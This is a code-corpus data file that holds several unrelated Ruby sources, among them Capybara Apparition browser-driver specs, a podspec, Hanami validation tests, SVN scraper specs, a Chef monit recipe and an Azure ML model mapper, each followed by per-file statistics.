driver.find_css('#remove-button').first.click
expect { remove_me.text }.to raise_error(Capybara::Apparition::NodeNotAttachedError)
end
# it 'raises NodeNotAttachedError if the argument node is unattached' do
# pending 'Does this make sense to implement?'
# visit '/'
# remove_me = driver.find_css('#remove-me').first
# expect(remove_me).not_to be_nil
# remove_button = driver.find_css('#remove-button').first
# expect(remove_button).not_to be_nil
# remove_button.click
# expect { remove_button == remove_me }.to raise_error(Capybara::Apparition::NodeNotAttachedError)
# expect { remove_me == remove_button }.to raise_error(Capybara::Apparition::NodeNotAttachedError)
# end
end
context 'version' do
let(:driver) do
driver_for_html(<<-HTML)
<html><body></body></html>
HTML
end
before { visit('/') }
it 'includes Capybara, apparition, and Chrome versions' do
result = driver.version
expect(result).to include("Capybara: #{Capybara::VERSION}")
expect(result).to include("Apparition: #{Capybara::Apparition::VERSION}")
expect(result).to match(/Chrome: .*\d+\.\d+\.\d+/)
end
end
context 'history' do
let(:driver) do
driver_for_app do
get '/:param' do |param|
<<-HTML
<html>
<body>
<p>#{param}</p>
<a href="/navigated">Navigate</a>
</body>
</html>
HTML
end
end
end
it 'can navigate in history' do
visit('/first')
expect(driver.find_xpath('//p').first.visible_text).to eq('first')
driver.find_xpath('//a').first.click
expect(driver.find_xpath('//p').first.visible_text).to eq('navigated')
driver.go_back
expect(driver.find_xpath('//p').first.visible_text).to eq('first')
driver.go_forward
expect(driver.find_xpath('//p').first.visible_text).to eq('navigated')
end
end
context 'response header contains colon' do
let(:driver) do
driver_for_app do
get '/' do
headers 'Content-Disposition' => 'filename="File: name.txt"'
end
end
end
it 'sets the response header' do
visit('/')
expect(
driver.response_headers['Content-Disposition']
).to eq 'filename="File: name.txt"'
end
end
context 'with unfinished responses', :skip do
it_behaves_like 'output writer' do
let(:driver) do
count = 0
driver_for_app do
get '/' do
count += 1
<<-HTML
<html>
<body>
<script type="text/javascript">
setTimeout(function () {
xhr = new XMLHttpRequest();
xhr.open('GET', '/async?#{count}', true);
xhr.setRequestHeader('Content-Type', 'text/plain');
xhr.send();
}, 50);
</script>
</body>
</html>
HTML
end
get '/async' do
sleep 2
''
end
end
end
it 'aborts unfinished responses' do
driver.enable_logging
visit '/'
sleep 0.5
visit '/'
sleep 0.5
driver.reset!
expect(stderr).to abort_request_to('/async?2')
expect(stderr).not_to abort_request_to('/async?1')
end
def abort_request_to(path)
include(%(Aborting request to "#{url(path)}"))
end
end
end
context 'handling of SSL validation errors', skip: 'Setup needed', focus2: true do
before do
# set up minimal HTTPS server
@host = '127.0.0.1'
@server = TCPServer.new(@host, 0)
@port = @server.addr[1]
# set up SSL layer
ssl_serv = OpenSSL::SSL::SSLServer.new(@server, $openssl_self_signed_ctx)
@server_thread = Thread.new(ssl_serv) do |serv|
while (conn = serv.accept)
# read request
request = []
until (line = conn.readline.strip).empty?
request << line
end
# write response
html = "<html><body>D'oh!</body></html>"
conn.write "HTTP/1.1 200 OK\r\n"
conn.write "Content-Type:text/html\r\n"
conn.write format("Content-Length: %<size>i\r\n", size: html.size)
conn.write "\r\n"
conn.write html
conn.close
end
end
fork_connection
end
after do
@server_thread.kill
@server.close
end
let(:driver) { driver_for_html('') }
context 'with default settings' do
it "doesn't accept a self-signed certificate" do
expect { driver.visit "https://#{@host}:#{@port}/" }.to raise_error(Capybara::Apparition::InvalidResponseError)
end
it "doesn't accept a self-signed certificate in a new window" do
driver.execute_script("window.open('about:blank')")
driver.switch_to_window(driver.window_handles.last)
expect { driver.visit "https://#{@host}:#{@port}/" }.to raise_error(Capybara::Apparition::InvalidResponseError)
end
end
context 'ignoring SSL errors' do
it 'accepts a self-signed certificate if configured to do so' do
configure(&:ignore_ssl_errors)
driver.visit "https://#{@host}:#{@port}/"
end
it 'accepts a self-signed certificate in a new window when configured' do
configure(&:ignore_ssl_errors)
driver.execute_script("window.open('about:blank')")
driver.switch_to_window(driver.window_handles.last)
driver.visit "https://#{@host}:#{@port}/"
end
end
end
context 'skip image loading' do
# let(:driver) do |opts = nil|
def driver(opts = nil)
@driver ||= driver_for_app(opts || {}) do
requests = []
get '/' do
<<-HTML
<html>
<head>
<style>
body {
background-image: url(/path/to/bgimage);
}
</style>
</head>
<body>
<img src="/path/to/image"/>
</body>
</html>
HTML
end
get '/requests' do
<<-HTML
<html>
<body>
#{requests.map { |path| "<p>#{path}</p>" }.join}
</body>
</html>
HTML
end
get %r{/path/to/(.*)} do |path|
requests << path
end
end
end
let(:requests) do
visit '/requests'
driver.find(:xpath, '//p').map(&:text)
end
it 'should load images by default' do
visit('/')
expect(requests).to match_array %w[image bgimage]
end
it 'should not load images when disabled' do
driver(skip_image_loading: true)
# TODO: Implement a configure option
# configure(&:skip_image_loading)
visit('/')
expect(requests).to eq []
end
end
describe '#set_proxy', :skip, :focus2 do
let(:driver) do
driver_for_html('')
end
before do
@host = '127.0.0.1'
@user = 'user'
@pass = 'secret'
@url = 'http://example.org/'
@server = TCPServer.new(@host, 0)
@port = @server.addr[1]
@proxy_requests = []
@proxy = Thread.new(@server, @proxy_requests) do |serv, proxy_requests|
while (conn = serv.accept)
# read request
request = []
until (line = conn.readline.strip).empty?
request << line
end
# send response
auth_header = request.find { |h| /Authorization:/i.match? h }
if auth_header || request[0].split(/\s+/)[1] =~ %r{^/}
html = "<html><body>D'oh!</body></html>"
conn.write "HTTP/1.1 200 OK\r\n"
conn.write "Content-Type:text/html\r\n"
conn.write format("Content-Length: %<size>i\r\n", size: html.size)
conn.write "\r\n"
conn.write html
conn.close
proxy_requests << request if auth_header
else
conn.write "HTTP/1.1 407 Proxy Auth Required\r\n"
conn.write "Proxy-Authenticate: Basic realm=\"Proxy\"\r\n"
conn.write "\r\n"
conn.close
proxy_requests << request
end
end
end
configure do |config|
config.allow_url('example.org')
config.use_proxy host: @host, port: @port, user: @user, pass: @pass
end
fork_connection
driver.visit @url
expect(@proxy_requests.size).to eq 2 # rubocop:disable RSpec/ExpectInHook
@request = @proxy_requests[-1]
end
after do
@proxy.kill
@server.close
end
it 'uses the HTTP proxy correctly' do
expect(@request[0]).to match(%r{^GET\s+http://example.org/\s+HTTP}i)
expect(@request.find { |header| /^Host:\s+example.org$/i.match? header }).not_to be nil
end
it 'sends correct proxy authentication' do
auth_header = @request.find do |header|
/^Proxy-Authorization:\s+/i.match? header
end
expect(auth_header).not_to be nil
user, pass = Base64.decode64(auth_header.split(/\s+/)[-1]).split(':')
expect(user).to eq @user
expect(pass).to eq @pass
end
it "uses the proxy's response" do
expect(driver.html).to include "D'oh!"
end
it 'uses original URL' do
expect(driver.current_url).to eq @url
end
it 'uses URLs changed by javascript' do
driver.execute_script %{window.history.pushState("", "", "/blah")}
expect(driver.current_url).to eq 'http://example.org/blah'
end
it 'is possible to disable proxy again' do
@proxy_requests.clear
driver.browser.clear_proxy
driver.visit "http://#{@host}:#{@port}/"
expect(@proxy_requests.size).to eq 0
end
end
def driver_url(driver, path)
URI.parse(driver.current_url).merge(path).to_s
end
context 'page with JavaScript errors' do
let(:driver) do
driver_for_app do
get '/' do
<<-HTML
<!DOCTYPE html>
<html>
<body>
<script type="text/javascript">
undefinedFunc();
</script>
</body>
</html>
HTML
end
end
end
it 'raises errors as an exception, when configured' do
configure do |config|
config.raise_javascript_errors = true
end
expected_error = Capybara::Apparition::JavascriptError
expected_message = /ReferenceError: undefinedFunc is not defined/
expect { visit('/') }.to raise_error(expected_error) do |error|
expect(error.javascript_errors.first[:message]).to match expected_message
end
end
it 'does not raise an exception when fetching the error messages' do
configure do |config|
config.raise_javascript_errors = true
end
expect { driver.error_messages }.not_to raise_error
end
it 'does not raise errors as an exception by default' do
expect { visit('/') }.not_to raise_error
expect(driver.error_messages).not_to be_empty
end
end
end
| 31.995703 | 189 | 0.581253 |
382bbd9ec91eedacdfabb821a4982edb34f46a38 | 636 | Pod::Spec.new do |s|
s.name = "BRHJoyStickView"
s.version = "2.1.2"
s.summary = "A custom UIView in Swift that presents a simple, configurable joystick interface."
s.homepage = "https://github.com/bradhowes/Joystick"
s.license = { :type => "MIT" }
s.authors = { "bradhowes" => "[email protected]" }
s.requires_arc = true
s.swift_version = "4.2"
s.ios.deployment_target = "11.0"
s.source = { :git => "https://github.com/bradhowes/Joystick.git", :tag => s.version }
s.source_files = "JoyStickView/Src/*.swift"
s.resource_bundle = { 'BRHJoyStickView' => 'JoyStickView/*.xcassets' }
end
| 39.75 | 101 | 0.638365 |
d5a42f5a0ed9e54d1b698f9b72f36a670abe4135 | 1,818 | require 'test_helper'
describe Hanami::Validations do
describe 'combinable validations' do
before do
address = Class.new do
include Hanami::Validations
validations do
required(:city) { filled? }
end
end
customer = Class.new do
include Hanami::Validations
validations do
required(:name) { filled? }
# FIXME: ask dry team to support any object that responds to #schema.
required(:address).schema(address.schema)
end
end
@order = Class.new do
include Hanami::Validations
validations do
required(:number) { filled? }
required(:customer).schema(customer.schema)
end
end
end
it 'returns successful validation result for valid data' do
result = @order.new(number: 23, customer: { name: 'Luca', address: { city: 'Rome' } }).validate
result.must_be :success?
result.errors.must_be_empty
end
it 'returns failing validation result for invalid data' do
result = @order.new({}).validate
result.wont_be :success?
result.messages.fetch(:number).must_equal ['is missing']
result.messages.fetch(:customer).must_equal ['is missing']
end
# Bug
# See https://github.com/hanami/validations/issues/58
it 'safely serialize to nested Hash' do
data = { name: 'John Smith', address: { line_one: '10 High Street' } }
validator = @order.new(data)
validator.to_h.must_equal(data)
end
# Bug
# See https://github.com/hanami/validations/issues/58#issuecomment-99144243
it 'safely serialize to Hash' do
data = { name: 'John Smith', tags: [1, 2] }
validator = @order.new(data)
validator.to_h.must_equal(data)
end
end
end
| 27.134328 | 101 | 0.619912 |
d5bf853aff514c3927fbc833c9fde276cb6c0bc9 | 8,703 | #--
# Copyright: Copyright (c) 2010-2016 RightScale, Inc.
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# 'Software'), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to
# permit persons to whom the Software is furnished to do so, subject to
# the following conditions:
#
# The above copyright notice and this permission notice shall be
# included in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
# IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
# CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
# TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
# SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
#++
require File.expand_path(File.join(File.dirname(__FILE__), '..', 'spec_helper'))
require File.expand_path(File.join(File.dirname(__FILE__), 'svn_retriever_spec_helper'))
require File.expand_path(File.join(File.dirname(__FILE__), '..', 'scraper_helper'))
require 'fileutils'
require 'set'
describe RightScraper::Retrievers::Svn do
include RightScraper::SpecHelpers::DevelopmentModeEnvironment
include RightScraper::ScraperHelper
include RightScraper::SpecHelpers
before(:all) do
@retriever_class = RightScraper::Retrievers::Svn
@ignore = ['.svn']
end
context 'given a remote SVN repository' do
before(:each) do
pending "Not run unless REMOTE_USER and REMOTE_PASSWORD set" unless ENV['REMOTE_USER'] && ENV['REMOTE_PASSWORD']
url = 'https://wush.net/svn/rightscale/cookbooks_test/'
@helper = RightScraper::SvnRetrieverSpecHelper.new
@repo = RightScraper::Repositories::Base.from_hash(:display_name => 'wush',
:repo_type => :svn,
:url => url,
:first_credential => ENV['REMOTE_USER'],
:second_credential => ENV['REMOTE_PASSWORD'])
@retriever = make_retriever(@repo, @helper.scraper_path)
end
it 'should scrape' do
@retriever.retrieve
@scraper = make_scraper(@retriever)
first = @scraper.next_resource
first.should_not == nil
end
# quick_start not actually being a cookbook
it 'should scrape 5 repositories' do
@retriever.retrieve
@scraper = make_scraper(@retriever)
locations = Set.new
(1..5).each {|n|
cookbook = @scraper.next_resource
locations << cookbook.pos
cookbook.should_not == nil
}
@scraper.next_resource.should == nil
locations.should == Set.new(["cookbooks/app_rails",
"cookbooks/db_mysql",
"cookbooks/repo_git",
"cookbooks/rs_utils",
"cookbooks/web_apache"])
end
end
context 'given a SVN repository' do
before(:each) do
@helper = RightScraper::SvnRetrieverSpecHelper.new
@repo = @helper.repo
end
after(:each) do
@helper.close unless @helper.nil?
@helper = nil
end
context 'with one cookbook' do
include RightScraper::SpecHelpers::FromScratchScraping
include RightScraper::SpecHelpers::CookbookScraping
it 'should scrape the master branch' do
check_resource @scraper.next_resource
end
it 'should only see one cookbook' do
@scraper.next_resource.should_not == nil
@scraper.next_resource.should == nil
end
it 'should record the head SHA' do
tag = @scraper.next_resource.repository.tag
tag.should_not == "master"
tag.should =~ /^[0-9]+$/
end
end
context 'with multiple cookbooks' do
def secondary_cookbook(where)
FileUtils.mkdir_p(where)
@helper.create_cookbook(where, @helper.repo_content)
end
before(:each) do
@helper.delete(File.join(@helper.repo_path, "metadata.json"))
@cookbook_places = [File.join(@helper.repo_path, "cookbooks", "first"),
File.join(@helper.repo_path, "cookbooks", "second"),
File.join(@helper.repo_path, "other_random_place")]
@cookbook_places.each {|place| secondary_cookbook(place)}
@helper.commit_content("secondary cookbooks added")
end
include RightScraper::SpecHelpers::FromScratchScraping
include RightScraper::SpecHelpers::CookbookScraping
it 'should scrape' do
scraped = []
while scrape = @scraper.next_resource
place = (@cookbook_places - scraped).detect {|place| File.join(@helper.repo_path, scrape.pos) == place}
scraped << place
check_resource scrape, :position => place[@helper.repo_path.length+1..-1]
end
scraped.should have(@cookbook_places.size).repositories
end
end
context 'and a revision' do
before(:each) do
@oldmetadata = @helper.repo_content
@helper.create_file_layout(@helper.repo_path, @helper.branch_content)
@helper.commit_content('added branch content')
@repo.tag = @helper.commit_id(1).to_s
end
include RightScraper::SpecHelpers::FromScratchScraping
include RightScraper::SpecHelpers::CookbookScraping
it 'should scrape a revision' do
check_resource @scraper.next_resource, :metadata => @oldmetadata, :rootdir => @retriever.repo_dir
end
end
context 'and an incremental scraper' do
before(:each) do
@retriever = make_retriever(@repo, @helper.scraper_path)
@retriever.retrieve
@scraper = make_scraper(@retriever)
end
after(:each) do
@scraper.close
@scraper = nil
end
it 'the scraper should store intermediate versions where we expect' do
@retriever.repo_dir.should begin_with @helper.scraper_path
end
it 'the scraper should scrape' do
check_resource @scraper.next_resource
end
it 'the scraper should only see one cookbook' do
@scraper.next_resource.should_not == nil
@scraper.next_resource.should == nil
end
context 'when a change is made to the master repo' do
before(:each) do
@helper.create_file_layout(@helper.repo_path, @helper.branch_content)
@helper.commit_content
end
context 'a new scraper' do
before(:each) do
@olddir = @retriever.repo_dir
@retriever = make_retriever(@repo, @helper.scraper_path)
@retriever.retrieve
end
it 'should use the same directory for files' do
@olddir.should == @retriever.repo_dir
end
it 'should see the new change' do
File.exists?(File.join(@olddir, 'branch_folder', 'bfile1')).should be_true
end
end
end
context 'when a textual change is made to the master repo' do
before(:each) do
File.open(File.join(@helper.repo_path, "file1"), 'w') do |f|
f.puts "bar"
end
@helper.commit_content("appended bar")
File.open(File.join(@helper.repo_path, "file1"), 'a+') do |f|
f.puts "bar"
end
@helper.commit_content("appended bar again")
File.open(File.join(@helper.repo_path, "file1"), 'a+') do |f|
f.puts "bar"
end
@helper.commit_content("appended bar again^2")
File.open(File.join(@helper.repo_path, "file1"), 'a+') do |f|
f.puts "bar"
end
@helper.commit_content("appended bar again^3")
end
context 'a new scraper' do
before(:each) do
@olddir = @retriever.repo_dir
@retriever = make_retriever(@repo, @helper.scraper_path)
@retriever.retrieve
@scraper = make_scraper(@retriever)
end
it 'should notice the new revision' do
cookbook = @scraper.next_resource
cookbook.repository.tag.should == "5"
end
it 'should see the new change' do
File.open(File.join(@olddir, 'file1')).read.should == "bar\n" * 4
end
end
end
end
end
end
| 35.234818 | 118 | 0.624497 |
380f344ef0c6839e95e6b9953c63d16a662ac980 | 536 | require 'rails_helper'
RSpec.describe CreatePeriodicReportReceivedWebAccessMessageWorker do
let(:user) { create(:user, with_credential_token: true) }
let(:worker) { described_class.new }
describe '#perform' do
subject { worker.perform(user.uid) }
before { allow(PeriodicReport).to receive(:access_interval_too_long?).with(anything).and_return(true) }
it do
expect(User).to receive_message_chain(:egotter, :api_client, :create_direct_message).with(user.uid, instance_of(String))
subject
end
end
end
| 33.5 | 126 | 0.746269 |
3390f022c1e112df1042f10122777155b9a86116 | 409 | cask 'fauxpas' do
version '1.6'
sha256 '6a5d518df5a67ffef360cdcaef41dd10365bc90390354d5cde19e310d6ad9da6'
url "http://files.fauxpasapp.com/FauxPas-#{version}.tar.bz2"
appcast 'http://api.fauxpasapp.com/appcast',
:sha256 => '478477793b0b317edeae2cda359bc0d180e8749ac72d11a5c71a5d9dab4a0f93'
name 'Faux Pas'
homepage 'http://fauxpasapp.com'
license :commercial
app 'FauxPas.app'
end
| 29.214286 | 87 | 0.757946 |
4af471195885dfc70a6072e56687e33c57d1e96d | 73 | json.array! @relatorios, partial: 'relatorios/relatorio', as: :relatorio
| 36.5 | 72 | 0.767123 |
617a8fe9921bd239cb4438426a92ecebe5c9bdb2 | 562 | # Add Monit configuration file via the `monitrc` definition
#
begin
monitrc "elasticsearch" do
template_cookbook "elasticsearch"
source "elasticsearch.conf.rb"
end
rescue Exception => e
Chef::Log.error "The 'monit' recipe is not included in the node run_list or the 'monitrc' resource is not defined"
raise e
end
# NOTE: On some systems, notably Amazon Linux, Monit installed from packages
# has a different configuration file then expected by the Monit
# cookbook. In such case:
#
# sudo cp /etc/monit/monitrc /etc/monit.conf
| 31.222222 | 116 | 0.729537 |
010b884451db05fdbfe8a2c2d41dcd06d8956318 | 8,326 | # Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::MachineLearning::Mgmt::V2017_01_01
module Models
#
# Properties specific to a Graph based web service.
#
class WebServicePropertiesForGraph < WebServiceProperties
include MsRestAzure
def initialize
@packageType = "Graph"
end
attr_accessor :packageType
# @return [GraphPackage] The definition of the graph package making up
# this web service.
attr_accessor :package
#
# Mapper for WebServicePropertiesForGraph class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'Graph',
type: {
name: 'Composite',
class_name: 'WebServicePropertiesForGraph',
model_properties: {
title: {
client_side_validation: true,
required: false,
serialized_name: 'title',
type: {
name: 'String'
}
},
description: {
client_side_validation: true,
required: false,
serialized_name: 'description',
type: {
name: 'String'
}
},
created_on: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'createdOn',
type: {
name: 'DateTime'
}
},
modified_on: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'modifiedOn',
type: {
name: 'DateTime'
}
},
provisioning_state: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'provisioningState',
type: {
name: 'String'
}
},
keys: {
client_side_validation: true,
required: false,
serialized_name: 'keys',
type: {
name: 'Composite',
class_name: 'WebServiceKeys'
}
},
read_only: {
client_side_validation: true,
required: false,
serialized_name: 'readOnly',
type: {
name: 'Boolean'
}
},
swagger_location: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'swaggerLocation',
type: {
name: 'String'
}
},
expose_sample_data: {
client_side_validation: true,
required: false,
serialized_name: 'exposeSampleData',
type: {
name: 'Boolean'
}
},
realtime_configuration: {
client_side_validation: true,
required: false,
serialized_name: 'realtimeConfiguration',
type: {
name: 'Composite',
class_name: 'RealtimeConfiguration'
}
},
diagnostics: {
client_side_validation: true,
required: false,
serialized_name: 'diagnostics',
type: {
name: 'Composite',
class_name: 'DiagnosticsConfiguration'
}
},
storage_account: {
client_side_validation: true,
required: false,
serialized_name: 'storageAccount',
type: {
name: 'Composite',
class_name: 'StorageAccount'
}
},
machine_learning_workspace: {
client_side_validation: true,
required: false,
serialized_name: 'machineLearningWorkspace',
type: {
name: 'Composite',
class_name: 'MachineLearningWorkspace'
}
},
commitment_plan: {
client_side_validation: true,
required: false,
serialized_name: 'commitmentPlan',
type: {
name: 'Composite',
class_name: 'CommitmentPlan'
}
},
input: {
client_side_validation: true,
required: false,
serialized_name: 'input',
type: {
name: 'Composite',
class_name: 'ServiceInputOutputSpecification'
}
},
output: {
client_side_validation: true,
required: false,
serialized_name: 'output',
type: {
name: 'Composite',
class_name: 'ServiceInputOutputSpecification'
}
},
example_request: {
client_side_validation: true,
required: false,
serialized_name: 'exampleRequest',
type: {
name: 'Composite',
class_name: 'ExampleRequest'
}
},
assets: {
client_side_validation: true,
required: false,
serialized_name: 'assets',
type: {
name: 'Dictionary',
value: {
client_side_validation: true,
required: false,
serialized_name: 'AssetItemElementType',
type: {
name: 'Composite',
class_name: 'AssetItem'
}
}
}
},
parameters: {
client_side_validation: true,
required: false,
serialized_name: 'parameters',
type: {
name: 'Dictionary',
value: {
client_side_validation: true,
required: false,
serialized_name: 'WebServiceParameterElementType',
type: {
name: 'Composite',
class_name: 'WebServiceParameter'
}
}
}
},
payloads_in_blob_storage: {
client_side_validation: true,
required: false,
serialized_name: 'payloadsInBlobStorage',
type: {
name: 'Boolean'
}
},
payloads_location: {
client_side_validation: true,
required: false,
serialized_name: 'payloadsLocation',
type: {
name: 'Composite',
class_name: 'BlobLocation'
}
},
packageType: {
client_side_validation: true,
required: true,
serialized_name: 'packageType',
type: {
name: 'String'
}
},
package: {
client_side_validation: true,
required: false,
serialized_name: 'package',
type: {
name: 'Composite',
class_name: 'GraphPackage'
}
}
}
}
}
end
end
end
end
| 31.657795 | 76 | 0.417607 |
d5ffd1baee4494a15206e37980229a38d68c7bb3 | 1,100 | #!/usr/bin/env ruby
require 'csv'
require_relative './book'
require_relative './magazine'
module Echocat
class ImportCsv
def self.import_data
import_books
import_magazines
end
def self.import_books
books_csv = File.join(File.expand_path('../data', __dir__), 'books.csv')
CSV.foreach(books_csv, col_sep: ';', headers: true) do |row|
data = {
title: row['title'],
description: row['description'],
authors: row['authors'],
isbn: row['isbn'],
type: 'Book'
}
Echocat::Book.new(data)
end
end
def self.import_magazines
magazines_csv = File.join(File.expand_path('../data', __dir__), 'magazines.csv')
CSV.foreach(magazines_csv, col_sep: ';', headers: true) do |row|
data = {
title: row['title'],
description: row['description'],
authors: row['authors'],
isbn: row['isbn'],
published_at: row['publishedAt'],
type: 'Magazine'
}
Echocat::Magazine.new(data)
end
end
end
end
| 25 | 86 | 0.57 |
ffff1301fffd969280839aec9e36b0e90f9c18d2 | 1,016 | include Warden::Test::Helpers
Given(/^I have logged in as a GDS Editor$/) do
@user = create(:gds_editor)
login_as(@user)
end
Given(/^I have logged in as an admin$/) do
user = create(:admin)
login_as(user)
end
Given(/^I have logged in as a member of DCLG$/) do
dclg = create(
:organisation,
title: "Department for Communities and Local Government",
abbreviation: "DCLG",
whitehall_slug: "department-for-communities-and-local-government",
)
user = create(:user, organisation_content_id: dclg.content_id)
login_as(user)
end
Given(/^I log in as a SIRO$/) do
user = create(:gds_editor)
login_as(user)
end
Given(/^I have logged in as a GDS Editor called "([^"]*)"$/) do |name|
user = create(:gds_editor, name: name)
login_as(user)
end
Given(/^I have logged in as a member of another organisation$/) do
user = create(:user, organisation_content_id: SecureRandom.uuid)
login_as(user)
end
Given(/^I should see my email$/) do
expect(page).to have_content(@user.email)
end
| 23.627907 | 70 | 0.698819 |
ede6e0084006a98729105ea70d919c08ccb54dda | 46 | module Unidom::Product::ApplicationHelper
end
| 15.333333 | 41 | 0.847826 |
08bc27bd380bc5a7e6cd4c002b7da2dbbe9607e6 | 328 | class AddCompositeIndexesForPoliticanJoins < ActiveRecord::Migration
def up
add_index :tweets, [:politician_id, :created]
add_index :deleted_tweets, [:politician_id, :created]
end
def down
remove_index :tweets, [:politician_id, :created]
remove_index :deleted_tweets, [:politician_id, :created]
end
end
| 27.333333 | 68 | 0.746951 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.